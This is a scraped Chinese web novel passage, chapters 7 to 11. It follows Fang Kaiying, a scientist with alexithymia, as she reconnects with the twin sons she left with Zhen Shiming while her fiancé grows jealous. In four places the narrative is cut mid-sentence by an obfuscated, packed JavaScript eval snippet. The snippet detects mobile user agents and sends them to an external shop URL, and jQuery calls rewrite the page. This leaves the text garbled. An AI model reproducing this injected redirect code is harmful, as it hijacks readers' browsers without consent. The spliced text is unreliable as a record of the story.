路程不算长,但孩子太累了,两个小脑袋依靠着在后座睡着。 路灯逐渐亮起,城市华灯初上。 他们一路无言,库里南缓缓驶入明堂堂的地下停车场。 携妻带子归家,家里会有热腾腾的饭菜,或许晚上他们会喝一点红酒,然后微醺着看孩子满地跑,等他们跑累了玩累了,就赶去楼上睡觉,他会在浴缸里铺满花瓣,用各种亲密方式消解彼此的疲惫。 这曾是甄世明多次向她描绘的幸福场景,现在车真的停在地库,家里也真的有阿姨做好的饭菜等着他们,甄世明抱着一个孩子,方楷莹牵着一个孩子,两个人脸上却没有笑容。 时过境迁,物是人非。 如今能做到体面已是不易。 家里的灯早就打开,饭菜是四人份,全部符合方楷莹的口味,她不清楚甄世明是什么时候嘱咐下去的。 吃过饭,甄世明把橙橙抱上楼睡,她和芯芯坐在地毯上修小汽车。 “这是哥哥的小汽车,我给弄坏了。”芯芯面带愧色,“但我把我的给他玩儿了,可是...我还想玩儿。” “没关系,我会帮你修好的。”方楷莹说。 芯芯跑去玩具房里,搬出一个小小的工具箱,工具箱里有儿童用的小号螺丝刀、钳子、扳手... “方阿姨,你用这个。”芯芯给她递工具,打下手。 方楷莹接过螺丝刀,边鼓捣边问:“芯芯,你喜欢拆东西?” 芯芯重重点头。 这点和她小时候也相似。 “可是,我只会拆...” “一般情况下拆多了就会装,或者学习一些关于机械的知识,你还小,慢慢来。” “如果我能像阿姨这么厉害就好了。”小孩子羞羞怯怯地说。 方楷莹看着他,很容易就想到自己小时候的天真,于是笑着说:“我以前也喜欢拆。” “阿姨,你有拆了装不回去的时候嘛?” “……很少。” “那你装不回去的时候,你家谁帮你重新装呀?我爸爸可会装了,但他总说让我多动手。” “没人帮我安,”她说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816788|190925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是实话,方楷莹的爸爸早不知道去哪了,她顿了顿说:“不过,我会再拆开直到安好。” “原来还能再拆。”芯芯突然一拍脑门儿,吓了方楷莹一跳,他又捂嘴羞涩地笑:“我以为坏了就是坏了。” “拆错再重新开始就好了,总会对一次的,总会修好的。”方楷莹说。 话讲完,小汽车的尾灯也装好了。 芯芯试着启动小汽车,车灯一下子亮起来,他激动地原地蹦跳,这大概是今天方楷莹看到芯芯最活泼的一面,他坐进车里,开着小汽车在客厅里来回兜圈。 孩子玩得专注,她也不愿打扰,站在落地窗前再度细看这房子,除了孩子的玩具,家具基本都还是原来那些,只是看起来比她走之前新了许多。 她哪里知道当初甄世明打砸一通之后,新家具又购买了同款。 她站在窗前心中感慨, 五年一梦大概如此。 手机的嗡鸣将她拉回现实。 “楷莹,你在哪里?”未婚夫问。 “我、我今天去医院来着。” “怎么了?” “孩子...生病了。” “……需要我过去吗?” “不用,不用,我很快回去。” 电话那头默了片刻。 “早些回来,我在家等你。” 未婚夫的声线依然温柔,但没等她再说什么,电话就挂断了。 暗下来的玻璃窗后,她看见自己莫名心虚的表情,也看见站在二楼栏杆处的甄世明。 甄世明双手交叉,松弛地搭在栏杆上俯视,她抬头,就与他的目光撞在一起。 无数个清晨,早起的她靠着沙发写论文,查文献,抬头就能看到爱睡懒觉的甄世明穿着睡衣,就以这样慵懒的姿势在楼上看她。 那时甄世明脸上总带笑意,现在仰头看去是疲惫的冷漠姿态。 方楷莹躲开目光,甄世明下楼,他穿一件睡衣,丝绸衣料被坚硬骨架撑起,柔柔地贴身显出结实胸肌和宽阔肩膀。 他有些疲惫地说:“橙橙睡着了。” “我想再去看看他,”方楷莹低声问:“可以吗?” 甄世明沉默了会儿,指向楼上东南卧室。 方楷莹上楼轻轻推开卧室门,卧室窗帘拉得严严实实,仅留了一盏墙壁夜灯,小孩子的脸在柔光下更加可爱。 橙橙盖着轻棉的软被平躺入睡,两条腿叉开摆大字,小小的孩子,细长的腿骨,看得出来以后一定像爸爸一样腿长,橙橙遗传了甄世明的面部轮廓,也遗传了甄世明的好皮肤,让本来寡淡的五官更有质感。 她伸手摸了摸孩子的额头和小脸,确定孩子体温正常才恋恋不舍地下楼。 甄世明在楼下,盘腿坐在地毯上和芯芯一起看动画片,芯芯蜷坐在他怀里,他的下巴轻轻抵住孩子的发顶,高大的身体完全把孩子包裹起来。 方楷莹走下楼,静静提起自己的包,动画片忽然暂停下来。 “方阿姨,你要走了吗?”芯芯问。 方楷莹挤出一个笑容,说:“我以后再来找芯芯玩儿,好吗?” 小孩子咬了咬唇,怯怯地点头说:“好。” 甄世明从地毯上站起来,跟她走到玄关处孩子看不到的地方。 他还没有开口说什么,墙壁的转角传来远远的稚嫩童声,能听得出芯芯已经尽量大声地问了,“方阿姨,以后...是哪一天?” 方楷莹的心忽然像泡水的海绵,软湿湿的,她的手指抓紧包带,想要再看芯芯一眼,甄世明却挡在她面前,半身探出墙壁转角,语气轻松地和芯芯说:“哥哥下次换药的时候阿姨就来了。” 他转回身,目光冰冷地看着方楷莹:“孩子喜欢你,我不想让他失望。” 这是孩子的意思,不能代表什么,该恨还恨,该不原谅仍不原谅。 方楷莹听懂了,点点头,问:“几天换一次药?” “三天。”甄世明极轻地叹了一声。 对任何爱孩子的家长来说,孩子生病都是让人糟心的麻烦事,她知道这对于甄世明来说已经是极大地妥协,她暗自庆幸孩子喜欢她,第一次见面不算太难堪。 “我会来的。” 她依然不适应和甄世明单独相处,尤其是这么平和的氛围,有孩子在,他们都得做体面的大人。 甄世明通知司机送她,她默默弯腰找鞋穿,甄世明打着电话,忽然屈膝蹲下,这动作条件反射一样。 她想起孕后期时不方便穿鞋,每次都是甄世明帮她,哪怕前一秒吵得不可开交。 甄世明脊背僵直,整个人仿佛定格,缓了两三秒,深吸一口尴尬的空气,摸摸木质地板,“这地板...该打蜡了。” 8. 第 8 章 “是该打蜡了。” 方楷莹也干巴巴给了个台阶,旧事重提不好,再多说恐怕又要吵架,她干脆提包离去。 她先回到医院找车,医院亮化工程做得很好,霓虹闪烁,差点让她忘记已经是晚上九点。 停车场忽然有人叫住方楷莹,她转回头,皱了下眉,装作没看见继续往前走。 “方楷莹!真的是你!你还记得我吗?” 女人已经快步绕到她面前,被挡住去路的方楷莹双手插进风衣口袋,语气平缓疏离,“你好,赵医生。” 怎么会不记得? 这位心理医生对她进行了长达十五年的跟踪治疗,后用她的病例发表论文,那篇论文开创了心理医学的新方向,赵医生也一举成为行业先锋人物。 方楷莹有幸在甄世明母亲手中看过这篇论文,作为她无法胜任好母亲的最佳佐证。 不能怪罪这位心理医生,方楷莹尊重科学,尊重她的研究成果,十五年的治疗使心理医生与病人之间有种过深的羁绊,此时的疏远只因方楷莹不知道该如何面对她。 赵医生对她的热情显然已经超出了普通医患关系,也难怪,她研究了方楷莹好多年,方楷莹这种少见的病例也让她在业界名声大噪。 “楷莹,好久不见。你最近怎么样?我一直有关注你,你的论文我都看过,还有那些采访。听说,你要结婚了?” 赵医生讲话温柔,带有很明显的引导意味。 “是。”她点头,简短回应。 方楷莹往前走,赵医生就追在后面,她用手拉开车门,赵医生就用手臂抵住车门。 “是跟那个人结婚吗?你经常跟我说起的那个人。” “不是。”方楷莹短暂地闭了闭眼。 “那本情绪手册,还在吗?我真想看看,你有时间再来我的诊室聊聊吗?或者我们现在上楼聊。” 赵医生在包里翻找名片,哗哗啦啦的声音方楷莹听进耳朵里,忽然就觉得心烦,甩开她的手臂,跳上车,油门一轰差点撞到她。 时隔多年,赵医生差点忘了,方楷莹是个不太正常的人。 方楷莹开车回家,天空忽然下起细雨,雨滴成串沿着玻璃滑下去,雨刮器有些卡顿,吱吱呀呀响,她有些呼吸困难,打开车窗,落雨飘进车里,打湿肩膀。 这些感受与记忆深远处重合。她的父亲鬼鬼祟祟打开家里的旧门,再也没有回来,而打湿肩膀的是母亲冰凉的眼泪。 方楷莹的病情是从五岁开始, 准确的说是那时被发现的。 她出生在普通家庭,当年她的父亲离开,给家里留下存折和一封信,信中大意是一个男人意外遇到真正的爱情,义无反顾与其私奔。 一个浪漫至极的故事, 但母亲方霞不这样想。 他是个有家室有孩子的男人! 旧时光里,方霞蜷在小房子的旧沙发上,眼泪泡湿信封,声音从呜咽到悲鸣,弟弟蹲在妈妈身边,哭声像生锈的自行车铁链一样尖利。 五岁的方楷莹独自坐在卧室小床边,双手放在膝盖,身体板板正正,默不作声看着日头一点点垂落,最终消失掉。 她终于站起来,走到妈妈身边,问:“我们晚上吃什么?” 妈妈和弟弟同时止住哭声,看着她。第二天,她就被妈妈拉着手送进医院的精神科。 刚开始,医生把她当做自闭症来治,也当做阿斯伯格综合征治过一段时间,后来在赵医生的论文里,她被最终诊断为述情障碍。 临床表现为情绪低敏感性,无法正确感知别人的情绪,对自己的感情亦无法做出准确的认知判断。 这种病让她成为神赐的天才。 超高的智商、不受感性干扰的判断能力、面对失败堪称强悍的稳定心态。 如果说有什么坏处,她的内心其实一片荒芜,像天生失明的盲人,感受到的不是黑,而是无。 第一次接触赵医生,方楷莹就得到一本情绪手册,医生要她像学习认字一样去认识情绪,并把所有情绪记录下来。 情绪手册在十七岁之前记录寥寥,十七岁之后开始丰富多采。 那年,她认识了甄世明。 - 方楷莹穿着湿淋淋的衣服回到家,汪先生刚洗过澡,把她推进热气未散的浴室,他去卧室给她找来干燥的睡衣。 她穿乳白色的胸衣,抱紧手臂面对镜子发呆,汪先生把衣服挂在门把,为她拆开盘起的头发,为她吹干被雨淋湿的发梢。 他只穿一条短裤,身材算不得精悍,但匀称修长,皮肤白,身上有股文气,摘掉眼镜像古代书生,曾经不少人调笑过让他去演宁采臣,而方楷莹经常在实验室呆在深夜,被玩笑说是实验室女鬼。 “吃饭了吗?”他问。 “嗯。”她点头。 “孩子…做了什么手术?” “割包.皮。” “……” 这种手术她去了能起到什么作用? 他这样想,但他没有这样说,他说:“下次我陪你一起去看孩子,好吗?” 方楷莹没有言语,未婚夫轻轻吻她的头发,把脸埋进她的颈窝,闷闷地说:“我今天去酒店看了几个婚礼方案。” “嗯。”她的思绪还停留在过去。 “很久没做过了。”他圈紧方楷莹的腰身,热息紧贴皮肤,“我想你。” 玻璃雾气渐散,她才清晰看到两个半裸的身体,如此潮热的氛围,她心里毫无波澜。 “我不想。”她略显疲惫地说。 未婚夫微怔,依恋不舍地松手,吹风机又响起来,热丝丝的风扫过发梢,未婚夫用手指护住,防止热风烫到头皮,吹干头发之后,又把睡衣给方楷莹穿好。 做完这些,他默不作声走出浴室。 方楷莹人冷淡、性冷淡, 他早习惯了。 只是现在情况不同,他看着方楷莹半裸的身体,会不由自主地想到甄世明。 他们是一击即中,还是做过很多次?他自认生活在一个开放环境里,思想并不迂腐,在见过甄世明之前,这个与他未婚妻有过两个孩子的男人只是个概念,但现在他是具体的人,有着完美的脸和好身材的高质量男性。 她当然会对自己冷淡。 想到这些,他连自己动手都心不在焉。 他烦躁地抓抓头发,走出去,方楷莹的房间紧闭,门缝只露出一点点地光。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816789|190925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>也好,他现在不想看见方楷莹。 “方楷杰下午给我打电话了,让你有时间就去公墓看看,什么时候想去?我陪你。” 等了一会儿,他不确定方楷莹有没有听到,房间里满是沉默,长时间的无声让他想打开门,手握在门把,房间里终于回了声“好”。 他在门口站了会儿,逐渐松开门把回到卧室,找出之前甄世明留的名片,拨了电话过去。 - 翌日,他去了甄世明的公司。 事实上,他是准备和甄世明摊开把话谈清楚,以现任的身份,进行男人与男人之间的对话。 甄世明的漂亮女秘书接待了他,秘书打扮精致,腰部纤细,臀腿丰腴,笑起来带着娇俏。 甄世明应该喜欢这种女人才对。 汪先生暗自去想。 接待室里,他得到了高级的礼待,秘书礼仪得体,看得出曾专门学过茶艺,她说甄总在开会,会前特别强调过,如果汪先生来了,立刻通知他。 一杯茶还冒着热气,他就见到了甄世明,在此之前他的警惕和敌意就有所松懈,因为他望见艺术品陈设正中摆放着一张相片。 相片里有三个孩子。 两个小男孩,一个更小的女孩。 甄世明注意到他反复觑向那张照片,唇边浅浅勾起,坦然承认他和方楷莹曾经是有过那么一段关系,但现在五年过去,他早已MOVEON,还把非婚生子上户口和继承财产的事当个玩笑来开。 提起方楷莹,他更像谈起了天气。 甄世明浅谈辄止,转而把重点放在工作上,他说很欣赏汪先生的海归履历,他名下有一家很受重视的公司,正需要汪先生这样的人来做总工程师。 从男人的角度来说,如果不是情敌关系,甄世明是他最愿意结交的那种人,敞亮爽朗,不会因为身份高贵而傲视他人,最重要的是,他懂得尊重知识分子,懂得他的壮志未酬。 “希望汪先生不要介意我和方楷莹的关系。” 和聪明人交谈需要真诚,他被甄世明的真诚打动,前任对这件事大大方方光明磊落,他这个现任如果再纠缠倒显得小肚鸡肠,而且,他需要找到一个能配得上方楷莹的身份。 总工程师,正合适。 - 方楷莹没有发现未婚夫心情不错,只知道他约她去一家西餐厅烛光晚餐。 未婚夫点单的姿势都意气风发,坦诚告诉她今天和甄世明见过面,有些神秘地说:“我在甄世明的办公室里看到了孩子的照片,其中两个长得和你很像。” 切割牛排的钝刀刮过盘子,发出非常不礼貌的刺啦声。 方楷莹放下刀叉,“其中两个是什么意思?” 未婚夫伸臂越桌过来牵她的手,发现她的手依然冰冰凉凉,“照片里还有一个小女孩,长得很可爱,和他很像,楷莹,如果我们有个孩子...” 后面的话方楷莹没有听清,餐厅晦暗的墙壁仿佛逐渐包围过来,把她挤在一个逼仄的境地,她不得不深呼吸,才能让心跳缓慢下来。 那晚方楷莹莫名失眠,她踩着冰凉的地砖,小心翼翼拿出那本情绪手册,从头翻到尾,也没能找出合适的情绪来形容她的心情。 9. 第 9 章 汪先生入职的公司叫做夜耀新材,资金雄厚,有自己的研发团队,他直接以总工程师身份进入公司,难免引起一些非议。 他急需展现能力,几乎每天都加班,上次说过要陪方楷莹去看望孩子的事也抛诸脑后。 方楷莹按照约定的时间来到医院,橙橙非常珍惜能凭借病弱依靠爸爸的时光,像个小树袋熊挂在爸爸身上。 只是调皮的树袋熊坐不住,在爸爸手臂不停挪动,所以方楷莹见到的是眉心紧锁即将出离愤怒的甄世明。 两人都没有愉快的脸色,看起来不是适合见面的时机。 芯芯见到方楷莹,眼睛瞬间亮起,虽然没有上下蹦跳,薄红的小耳朵还是出卖了激动的心情。 “方阿姨好。”两个孩子异口同声。 橙橙扭着身子挥舞手臂,芯芯低下头脚尖在地上画圈。 “橙橙,今天还感觉痛吗?” “有一点点,”橙橙古灵精怪地比手势,挤眉弄眼说:“但我是男子汉!” 小伙子坚硬的肩膀硌人,甄世明有些同性相斥的倦烦,“男子汉下来自己走!” 硬骨架往他怀里缩,像一把小锤子在凿胸口,他忍了一路,方楷莹竟也没给他好脸色。 他或许知道是为什么。 他应该知道是为什么。 “别冲孩子喊,”方楷莹伸出手,冷冰冰地说:“我来抱。” 甄世明蔑了一眼细瘦的手臂,还没有橙橙腿粗,他把橙橙翘起的脚按老实了,冷嘲道:“你健健身再说吧。” 方楷莹确实没时间健身,她也不爱运动,旺盛的精力全都用来脑力劳动,不像甄世明有健身习惯,每天早晨两小时是他的健身时间,练得肌肉精悍线条好看。 橙橙长得也飞快,五岁的孩子,一米二的身高,目测得有四十多斤。 她确实会吃力,只能看着甄世明把孩子抱进诊室。 芯芯乖巧地和方楷莹并排坐下,方楷莹话不多,芯芯的话也很少。方楷莹发现芯芯一直望着墙上的字,于是问道:“你认识字吗?” 他点点头,站起来,把宣传栏的标语一个字一个字念下去,方楷莹惊觉芯芯认识的字比普通孩子多很多。 也难怪,甄世明的孩子当然可以享受最好的教育资源。抛开这点,芯芯天资聪慧也是毋庸置疑的事实。 和普通小孩子一样的是,芯芯的耐心有限,念了一会儿就索然。 他拉起方楷莹的手,用手捂住嘴小小声问:“方阿姨,你能不能带我去看喷泉?” “哪里有喷泉?”方楷莹笑盈盈问。 芯芯眼光一闪,拉她起身,方楷莹由他带着,走到医院广场中心,午后喷泉正开,凉风把水汽播撒,扑在脸上清清爽爽。 孩子们仿佛都装有小孩儿雷达,总知道哪里同龄小伙伴多,几个孩子正在喷泉旁泼水玩儿。 方楷莹问:“你也想玩儿吗?” 芯芯紧紧握住她的手,羞涩摇头,问:“阿姨,你说喷泉是怎么飞起来的?” 原来他对人群没兴趣,对喷泉的原理感兴趣。这倒和她小时候如出一辙。 “动量守恒是喷泉的原理,主要靠的是水压和动力,喷泉里有封闭循环的供水系统,通过水泵的压力把水输送到喷头,然后通过不同的喷头形态就会呈现出不同的效果。” 她尽量讲得易懂,可芯芯毕竟只有五岁。 “什么是原理?” “原理就是……” 方楷莹只是以为他会听不懂动量守恒,想解释,却不知道该从何说起。 “如果有机会我们可以自己在家做一个小喷泉出来。”她说。 “做一个像家里那么大的!”芯芯露出小白牙天真地笑起来。 不不,山顶别墅的水系是专业设计团队精心研究,几十个工人耗时半月做出来的,工程量惊人。 “我是说…小喷泉…” 方楷莹手忙脚乱解释,还好一个路过的小姑娘转移了芯芯的注意力,准确来讲,是芯芯先吸引了小姑娘的注意力,无论大人小孩,都喜欢好看的,芯芯虽然性格内敛,但小脸长得可人。 小姑娘其实已经瞄了很久,鼓起勇气才走过来搭话。 “哥哥,你也来看病的吗?” 小姑娘看起来和芯芯同龄,穿着病号服,脸色病恹恹,眼神清灵灵,由更显疲态的妈妈领着出来看喷泉。 芯芯看着她,并不说话,嘴巴抿起,手指抓着衣摆躲避,他不习惯和陌生人搭话。 小姑娘的眼神从找到伙伴的欣喜转为失望,默默嘟囔:“你看起来就很健康。” 姑娘的妈妈走过来,对方楷莹说了声抱歉,就要带着闺女离开。 芯芯仿佛下了很大的决心,追上去,拉住小姑娘的手臂,又把头低下,嘴唇动了动,小声说:“你也会很健康的。” 小姑娘和妈妈都愣住,芯芯又抬起头问:“阿姨,我能和妹妹一起玩儿吗?” 小姑娘的妈妈眼里闪着泪花,小姑娘倒是不伤感,只欣喜。 两个孩子手挽手,碎步跑到喷泉边儿,方楷莹听到芯芯说:“喷泉飞起来是动量守恒,主要靠的是水压和动力,喷泉里有...有...有小鱼吧?你跟我来看看。” 方楷莹忍不住笑起来。 “你的孩子是个很好的孩子。”小姑娘的妈妈目光始终不离女儿,她对方楷莹说:“我孩子是爆发性心肌炎,抢救过一次,在医院呆了半个多月了。” 年轻的妈妈讲话温柔,也平静,但方楷莹还是发现她眼珠的浑黄,脸颊的凹陷。 她双手交握,仿佛祈祷过很多遍。 “孩子生病,家长丢半条命,太磨人了。”她注意到方楷莹在看她,整理了一下额前散乱的头发,又摸了摸脸颊,“你脸色很好,来看望人?” 方楷莹只是点了点头,紧接着问:“小孩子是不是很容易生病?” 年轻的妈妈有点儿不解,“你的孩子从来没生过病?” 方楷莹摇头。 其实她并不清楚。 “那你真幸运,”年轻的妈妈语气充满羡慕,“体质好的孩子也难免生病,我没见过从不生病的孩子,你的孩子是福星,来报恩的。” 方楷莹抿了抿唇,看向奔跑的孩子。 午后的阳光正好,把孩子的头发照成透光的黑棕色,随着奔跑的动作扬起落下,喷泉的水滴溅在孩子红润的脸蛋儿上,他抹去,一笑,阳光更好。 如果手机没有在这个时候吵起来,就最好了。 旁边的妈妈提醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“你不是早就杀过我一次了吗?”方楷莹发起怒来细眉紧锁,眼睑潋着一层晶莹,薄唇抿成一条下弯的线,“你让我给你生孩子,想让我当你的贤妻良母,那个时候我就已经死过一次了。” 甄世明唇角抽动,愤怒让他的唇红的更红,白色的伤痕更白。 “那你应该庆幸你还没有死透,现在你又活过来了,你活成你想要的样子了吧,方教授!” “我庆幸。”方楷莹没有甄世明的汹涌之势,平平淡淡一句话直戳甄世明肺管子,“庆幸离开了你。” 甄世明扯过方楷莹的衣领,“那你现在就别既要又要!” 方楷莹听不懂他什么意思,她只是想要孩子,他有了别的孩子,为什么不能把她的孩子还给她? 她目光坚硬地迎过去,咬牙道:“既要又要是你的特权吗?你有了橙橙和芯芯,又要新的孩子,你已经有了家庭,有了新的女儿,我要我的儿子有什么不对?!” 甄世明死死盯住她泛泪的眼睛,那双眼睛动情时刻也如此湿润,眼尾带着令人怜爱的薄红,他不想回忆,目光缓缓挪于薄软的唇,有种不容忽视的欲望顺着心脏一直蔓延到腹下。 10. 第 10 章 她的脸那么近,嘴唇紧闭,眼神坚定,甄世明觉得自己真的荒唐极了,竟然在这种时候搏起。 他缓缓松开方楷莹的衣领,压下满肚子火,重新平静气息,“我不想和你吵架。” “我也不想和你吵架。”方楷莹无意见他眉心皱起的纹路,忽然想起那位年轻母亲眼角的深纹。 他可能太累了,没心思和她吵架。 方楷莹冷静下来反思,这五年以来,孩子怎么可能不生病呢?那些时刻陪在孩子身边的是甄世明,他只是在意孩子,她也许把在意理解成了敌意。 这么一想,她也柔缓下来:“我是说,既然你已经有了新家庭,我现在也有能力照顾橙橙和芯芯...” 甄世明一摆手,“我不想听你说这些,就算我有了新家庭,橙橙和芯芯也是我的孩子,是我甄家的孩子。” 那张照片是甄世明故意摆放的,他料定那男人会告诉她,但就连甄世明自己都不知道出于什么目的,他只想要她难受,最像她当年走时,他难受那样难受。 方楷莹也确实难受了,担心孩子会受到不公平的对待,她对甄世明说:“有后妈就有后爸。” 这话是妈妈方霞经常挂在嘴边的,这个为方楷莹操劳一生的女人,最庆幸的是那个男人没有带走她的孩子,她把这句话讲了二十几年,方楷莹听了二十几年。 没想过有一天也能从她口中说出。 甄世明对这句话嗤之以鼻,讽道:“没想到方教授现在这么接地气,你放心,我结十次婚,有一百个孩子,甄橙和甄芯都是我儿子,这种废话你留着和家里那个废物说吧。” 方楷莹翻起白眼,“我在和你好好谈,你一定要这么刻薄吗?” 甄世明保持着不远不近不软不硬的安全距离。 “一定要。” 方楷莹无言,她不像甄世明牙尖嘴利,气得手抖也再说不出花样繁多的怨怼之言,狠跺一脚地面也无事发生。 倒是甄世明忽然低头笑了下,方楷莹的气急败坏,让他特别愉悦。 “我现在没心情跟你谈,你有时间来我公司谈,记得预约。”甄世明一本正经地说:“现在,我要带着我儿子回家休养,可能还会暴揍芯芯一顿。” “你!” 方楷莹还没想出痛骂的词汇,甄世明可不等她,转身迈开长腿离去。 这个混蛋! - 回家路上,甄世明一言不发,坐在后排的芯芯把手指缠绞在一起,橙橙则叽里呱啦呼痛。 快到家时芯芯才低声地说:“爸爸,对不起。” 甄世明回头看了一眼芯芯瘪起的嘴巴,什么气都消了,“我只是担心你受伤害,谁也不能保证每个人都是好人,我以前教过你,不要随便相信别人。” “方阿姨不会伤害我,我相信她。”芯芯肯定地说,橙橙也大声应和:“我也觉得方阿姨是好人!不是坏人!” 甄世明沉默,凭什么他养了五年的儿子只见过方楷莹两次就无条件相信,是她天生招孩子喜欢?是血缘? 不不,是两个小白眼儿狼! 他懒得再反驳。 橙橙换药之后的状态也需要特别关注,所以甄世明晚上还是让橙橙睡在主卧,芯芯也抱着自己的小枕头钻进卧室。 一左一右的小男孩睡觉都不老实,多大的床都能睡得乱七八糟,最要命的是橙橙还偏要往爸爸怀里蹭,小男孩的圆圆硬硬的肩头在甄世明的胸口来回扎碾,他烦得不行。 “你能不能睡觉老实点儿?” 芯芯已经睡着,甄世明只能放低声音训斥。 橙橙睁开着无辜的大眼睛,黑溜溜的葡萄一样,“爸爸,我睡不着,在想方阿姨。” “......想她干什么?”甄世明闭着眼睛皱起眉。 橙橙试探着问道:“爸爸,你喜欢方阿姨吗?” 甄世明半睁开眼睨去,小男孩侧躺,单手支着下巴若有所思。 “为什么这么问?” 橙橙把头一歪,看着爸爸说:“爸爸你经常生我们的气,但你说是因为在乎我们才生气,你今天也和方阿姨生气了。” 甄世明:“那是因为她做了错事。” “我觉得不是,就像我喜欢子涵,别的小朋友我都不在乎,他们怎么惹我我都不生气,但我总跟子涵生气,今天爸爸对方阿姨发了好大的火,所以我觉得爸爸喜欢方阿姨。” 什么狗屁逻辑。 “不喜欢。”甄世明挥臂把孩子按下平躺,满不在意地说:“我看她就来气。” “别人问我,我也说我不喜欢子涵,我说子涵喜欢我,”橙橙双手垫在脑后,傲娇道:“不然太没面儿了。” 甄世明眉心抽动,“再不睡觉我就把你被姑姑打哭的视频发给子涵妈妈。” 橙橙抿住嘴唇,拿被子盖在脸上。 世界终于清静了,一分钟。 橙橙最近每天在家歇着,晚上精力特别充沛,小嘴巴更是一刻不闲,这会儿又闷在被子里说话,只是声音变得很软很犹豫:“爸爸,如果...妈妈不回来了,你又喜欢方阿姨的话,我和芯芯也会喜欢方阿姨。” 小孩儿短暂地叹气声让甄世明无法入睡,他不能忽视儿子的想法,把橙橙揽紧了些,“如果妈妈回来呢?” 孩子的脑袋从被子里钻出来,坚定地说:“那你就不能喜欢方阿姨了!妈妈会伤心的!所以我说的是如果……” 橙橙早慧早言,最先发现自己只有爸爸,没有妈妈,也多次问过他,甄世明只能回答妈妈去了很远的地方。 后来有一次参加祖母的葬礼,其他大人也跟橙橙说祖母去了很远的地方,只有姑姑给他上了堂死亡教育课,他明白过来,当即抹着眼泪跑到甄世明身边,抱住他的腿问妈妈是不是也死了。 那场面,才叫丢脸。 后来甄世明认真地告诉橙橙,妈妈去了很远的地方当科学家,在做很有意义的工作,没办法回家,不是死了。 在小孩子的单纯世界里,科学家大概是最厉害的人,橙橙没见过妈妈,却崇拜着他想象中的科学家妈妈。 现在,他也要维护她。 “妈妈伤心的话,橙橙和芯芯也会伤心。”橙橙把手放在甄世明胸口,小拳头仿佛在捶打他的良心,“爸爸也会伤心吧?” 甄世明不知道该怎么回答,关于母亲的话题,父子俩聊得少之又少。 “如果...” 方阿姨就是你的妈妈呢? 甄世明犹豫很久,还是没能问出口,把橙橙的良心之锤挪开。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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方楷莹在墓碑前站了会儿,临走前说:“方楷杰让我来的,他在肯尼亚呆了两年,做各种公益项目,现在在坦桑尼亚保护野生动物,心很开阔,不会再为了爱情要死要活,以后估计也不会回国了,我…以后会经常来的。” 照片里的女人只是微笑着,方楷莹扯了扯唇,回应了一个微笑。 往回走,经过很多杂草丛生的墓碑,那些逝去的人在亲友的记忆中又死一遍,连墓碑前的花也只剩枯枝落叶。 方楷莹忽然停住脚步,回头望。 母亲墓前的白菊正盛放, 在一片破败中崭新。 她的心沉沉坠下,快步走到管理处询问。 “方女士的墓我们有好好打理的,一位姓郑的先生交了大笔管理费,每年清明还会带孩子过来祭拜。” “郑?” “是,特别孝顺,一来就呆一上午。” 方楷莹没再问什么,脑海空白,心中却忽的怅然,她和方楷杰都不算孝顺的子女,这几年各在国外,都不能来母亲墓前,只能远远惦记一二。 她把甄世明从黑名单里拉出,拨电话过去,响了很久才接通,开口便问:“我妈的墓是你在打理吗?” 甄世明那边刚睡醒,人沉默了会儿,语气慵懒且不耐烦:“大清早跟我说你妈的墓,你真会挑时间。” 11. 第 11 章 方楷莹一看表,早上八点。 确实不合适。 “橙橙和芯芯醒了吗?” “没。” “所以我妈的墓是不是你在打理?” “你他——” “别说脏话。” “……” 甄世明狠狠挂断电话,如果不能说脏话,他将无话可说。 双手撑着洗手台烦躁得不行,他人刚醒,身体各处都跟着复苏,方楷莹电话打来,一点不温柔,张嘴就是她妈的墓… 他往脸上泼了一捧水,还是烦躁,洗了凉水澡又不停打喷嚏,这一番折腾下来,还得给她儿子准备早餐。 这辈子真欠她的! - 方楷莹这人一旦固执起来,受罪的就必是别人,她一遍遍回拨电话,颇有不死不休的劲头,一边转回管理处,偏要找个答案出来。 管理处也嫌烦,干脆给了她一个管理费联络人的电话。 “最开始他带着个女人来的,留的联系方式也是那女人的,你自己问吧。”管理处的老爷们儿抽着烟翻原始册子,“欸,你到底是不是方霞家属啊,我怎么没见过你?” 一抬头,方楷莹又走了。 甄世明不接电话,方楷莹就拨打这个陌生的号码,接电话的是个女人。 “谁啊?”年轻的声音睡意朦胧,听起来娇滴滴的。 “你是谁?”方楷莹直来直去,连声音都不带拐弯儿的。 一下子把刚睡醒的女人问懵了,“我是甄美丽,你是?” 甄美丽是甄世明的堂妹,长大之后安排进家族的企业,就待在他身边做秘书顺便给甄母当眼线。 甄家基因强大,堂妹也长得一副好皮相,身材更是一等一出色。 